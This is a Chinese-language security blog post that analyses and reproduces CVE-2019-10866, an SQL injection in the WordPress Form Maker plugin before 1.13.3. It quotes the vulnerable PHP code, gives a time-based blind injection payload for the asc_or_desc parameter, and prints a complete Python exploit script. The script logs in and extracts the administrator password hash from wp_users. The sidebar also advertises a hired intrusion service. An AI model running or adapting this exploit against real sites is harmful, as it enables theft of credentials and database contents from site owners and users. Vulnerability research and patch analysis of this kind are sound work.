最近WordPress的插件出现各种姿势漏洞(都是插件,不知何时能有核心漏洞出现),Easy WP SMTP、 Social Warfare、Form Maker等等,其中Form Maker1.13.3之前版本存在sql注入漏洞(CVE-2019-10866)。最近一直在看cms的漏洞代码,于是顺手在网上找了该插件的影响版本与修补后的版本进行了代码分析,并且在本地对该漏洞进行了分析复现和POC代码编写调试。下面是分析和复现的过程:
本地环境:Wordpress5.1 + Form Maker1.13.3
在本地搭建WordPress5.1版本,然后上网找一下FormMaker的历史版本。安装的时候选择上传安装,有可能会有上传大小限制,需要改一下php.ini中的配置信息。安装完成后记得要把自动更新关掉,要把自动更新关掉,要把自动更新关掉,重要的事情说三遍。然后就可以专心的进行代码审计和漏洞复现了。
漏洞位置:\wp-content\plugins\form-maker\admin\models\Submissions_fm.php
在cve的信息中作者提到在该路径下的php文件存在问题,直接定位文件进行审计。
...
$order_by = WDW_FM_Library(self::PLUGIN)->get('order_by', 'group_id');
$asc_or_desc = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc');
... if ( $order_by == 'group_id' or $order_by == 'date' or $order_by == 'ip' ) {
$orderby = ' ORDER BY ' . $order_by . ' ' . $asc_or_desc . '';
} else if ( $order_by == 'display_name' or $order_by == 'user_email' ) {
$orderby = ' ORDER BY (SELECT ' . $order_by . ' FROM ' . $wpdb->prefix . 'users WHERE ID=user_id_wd) ' . $asc_or_desc . '';
} else {
$orderby = "";
}
在上述代码中存在问题的位置:
$asc_or_desc = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc');
...
if ( $order_by == 'group_id' or $order_by == 'date' or $order_by == 'ip' ) {
$orderby = ' ORDER BY ' . $order_by . ' ' . $asc_or_desc . '';
...
代码中对所有的参数都有判断检测,唯独对$asc_or_desc参数什么都没做,把传进来的参数直接和查询语句拼接在了一起(危险警告)。再看一下其他位置有没有类似的危险操作,或者上下文调用中是否对这个参数有检测(拼接前都没有估计其他位置也不能有了)?
对整个插件工程全文搜索$asc_or_desc,继续寻找。
漏洞位置:\wp-content\plugins\form-maker\admin\controllers\Submissions_fm.php
...
$group_ids = ((isset($labels_parameters[6])) ? $labels_parameters[6] : NULL);
$params['group_id_s'] = $this->model->sort_group_ids(count($params['sorted_label_names']), $group_ids);
$params['where_choices'] = $labels_parameters[7];
$params['searched_ids'] = $labels_parameters[8] ? implode(',', $labels_parameters[8]) : '';
$params['groupids'] = $labels_parameters[8] ? array_reverse($labels_parameters[8]) : array();
$params['order_by'] = $order_by = WDW_FM_Library(self::PLUGIN)->get('order_by', 'group_id');
$params['asc_or_desc'] = $asc_or_desc = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc');
... if ( !empty($_POST['order_by']) || !empty($_POST['asc_or_desc']) ) {
$is_sort = true;
$order_by = $_POST['order_by'];
$asc_or_desc = $_POST['asc_or_desc'];
... Foreach ( $lists as $list_key => $list_val ) { If ( !Empty($_GET[$list_key]) ) {
$lists[$list_key] = urlencode(WDW_FM_Library(self::PLUGIN)->get($list_key));
$pagination_url_args[$list_key] = WDW_FM_Library(self::PLUGIN)->get($list_key);
$pagination_url_args[‘is_search’] = 1;
}
}
$pagination_url = array_merge(rray(‘page’ => $this->page, ‘task’ => ‘display’, ‘current_id’ => $id, ‘order_by’ => $order_by, ‘asc_or_desc’ => $asc_or_desc),pagination_url_args);
params[‘pagination_url’] = add_query_arg( $pagination_url , admin_url(‘admin.php’) );
危险警告X2
$params['asc_or_desc'] = $asc_or_desc = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc');
...
if ( !empty($_POST['order_by']) || !empty($_POST['asc_or_desc']) ) {
$is_sort = true;
$order_by = $_POST['order_by'];
$asc_or_desc = $_POST['asc_or_desc'];
...
$pagination_url = array_merge(rray('page' => $this->page, 'task' => 'display', 'current_id' => $id, 'order_by' => $order_by, 'asc_or_desc' => $asc_or_desc),pagination_url_args);
发现参数‘asc_or_desc’,代码中同样没有对该参数进行过滤或是合法性的判断(不能相信用户任何的输入)。
通过以上两个漏洞的位置大致可以知道sql注入的产生原因了,可利用$asc_or_desc参数构造sql注入,形如:
,(case+when+(select+sleep(5)+from+wp_user+limit+1)+then+1+else+2+end)+asc+--+
在这之前还要解决一个重要的问题就是找到传参的位置,简单的办法就是在本地搭建的环境中使用产生漏洞插件的各种功能,查看每个功能传的参数,如图:
根据该漏洞路径,参照Daniele Scanu @ Certimeter Group的漏洞利用脚本,可对WordPress数据库进行查询,最终注入脚本如下,以查询wp_user中用户密码为例:
注入脚本:
import requests import time
url_vuln = 'http://ip/wordpress/wp-admin/admin.php?page=submissions_fm&task=display¤t_id=2&order_by=group_id&group_id&asc_or_desc=' #group_id&group_id&asc_or_desc=' session = requests.Session()
dictionary = '@._-$/\\"£%&;§+*1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' flag = True username = "" password = "" temp_password = "" TIME = 1 def login(username, password): payload = { 'log': username, 'pwd': password, 'wp-submit': 'Login', 'redirect_to': 'http://ip/wordpress/wp-admin/', 'testcookie': 1 }
session.post('http://ip/wordpress/wp-login.php', data=payload) def print_string(str): print "\033c" print str def get_admin_pass(): len_pwd = 1 global flag global temp_password while flag:
flag = False ch_temp = '' for ch in dictionary:
print_string("[*] Password dump: " + temp_password + ch)
ch_temp = ch
start_time = time.time()
r = session.get(url_vuln + ',(case+when+(select+ascii(substring(user_pass,' + str(len_pwd) + ',' + str(len_pwd) + '))+from+wp_users+where+id%3d1)%3d' + str(ord(ch)) + '+then+(select+sleep(' + str(TIME) + ')+from+wp_users+limit+1)+else+2+end)+asc%3b')
elapsed_time = time.time() - start_time if elapsed_time >= TIME:
flag = True break if flag:
temp_password += ch_temp
len_pwd += 1 login(username, password)
get_admin_pass()
print_string("[+] Password found: " + temp_password)
注意:因网络原因需要设置合理的TIME时长
本地运行结果:
利用脚本可查询当前网站下用户所有敏感数据。
修补方式:
在1.13.3版本以后,该插件对参数$asc_or_desc进行了严格的限制。
在最近的cms代码审计学习中也发现了一些应为过滤审核不严导致的sql注入漏洞,在代码编写的过程中万万不可相信用户任何的输入,需要严格的过滤审核才能带入到程序中运行,否则就会产生安全隐患。
以上。
猜你还喜欢
- 06-09深入理解JAVA反序列化漏洞
- 08-12cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 11-28CVE-2017-11882漏洞复现和利用
- 11-10利用Thinkphp 5缓存漏洞实现前台Getshell
- 08-04php安全代码审计小结
- 01-02PHPCMS后台”空降”管理员CSRF漏洞分析
- 01-02某CMS注入分析及注入点总结
- 11-30PHP 函数漏洞总结
- 11-30PHP渗透中的奇淫技巧--检查相等时的漏洞
- 11-15某开源框架从注入到Getshell
- 随机文章
-
- 渗透Hacking Team过程
- 浅谈高级组合技打造“完美” 捆绑后门
- 某司SSL-VPN沙盒逃逸之旅
- Mimikatz 非官方指南和命令参考_Part1
- Microsoft Outlook 漏洞:可允许远程代码执行
- 从TCL某漏洞看内网渗透教学分享之内网信息探测和后渗透准备
- 域渗透的金之钥匙
- 巧用DSRM密码同步将域控权限持久化
- Hash传递攻击Windows2012远程桌面
- 为指定用户添加Windows特权的代码
- 别以为有vpn我找不到你(网警抓人全过程)
- 内网渗透:利用WMI代替psexec(WMIEXEC.vbs)
- 域科普文:使用powershell管理域用户
- 详解Filezilla提权
- 适用于PHP初学者的学习线路和建议
- PHP开发规范
- 如何绕过安全狗waf这类的防护软件--PHP过狗一句话实例两枚+过狗详细分析讲解
- 漏洞挖掘经验分享
- 是什么让黑帽黑客成了白帽英雄
- phpcms_v9.6.0_sql注入与exp
- 热门文章
-
- 八年专业安全团队承接渗透入侵维护服务
- Emlog黑客站模板“Milw0rm”发布
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 渗透测试培训(第五期)
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
文章存档
- 2021年3月(4)
- 2020年12月(4)
- 2020年11月(5)
- 2020年10月(8)
- 2020年9月(8)
- 2020年8月(20)
- 2020年7月(47)
- 2020年6月(70)
- 2020年5月(41)
- 2020年4月(21)
- 2020年3月(120)
- 2020年2月(26)
- 2019年12月(12)
- 2019年11月(13)
- 2019年10月(17)
- 2019年9月(15)
- 2019年8月(13)
- 2019年7月(15)
- 2019年6月(15)
- 2019年5月(19)
- 2019年4月(23)
- 2019年3月(19)
- 2019年2月(11)
- 2019年1月(29)
- 2018年12月(24)
- 2018年11月(56)
- 2018年10月(79)
- 2018年9月(20)
- 2018年8月(17)
- 2018年7月(16)
- 2018年6月(7)
- 2018年5月(10)
- 2018年3月(6)
- 2018年2月(2)
- 2018年1月(11)
- 2017年11月(18)
- 2017年10月(6)
- 2017年9月(8)
- 2017年8月(7)
- 2017年7月(7)
- 2017年6月(15)
- 2017年5月(30)
- 2017年4月(7)
- 2017年3月(1)
- 2017年2月(4)
- 2017年1月(1)
- 2016年12月(3)
- 2016年11月(7)
- 2016年10月(6)
- 2016年9月(6)
- 2016年8月(102)
- 2016年7月(24)
- 2013年7月(1)
- 文章标签
-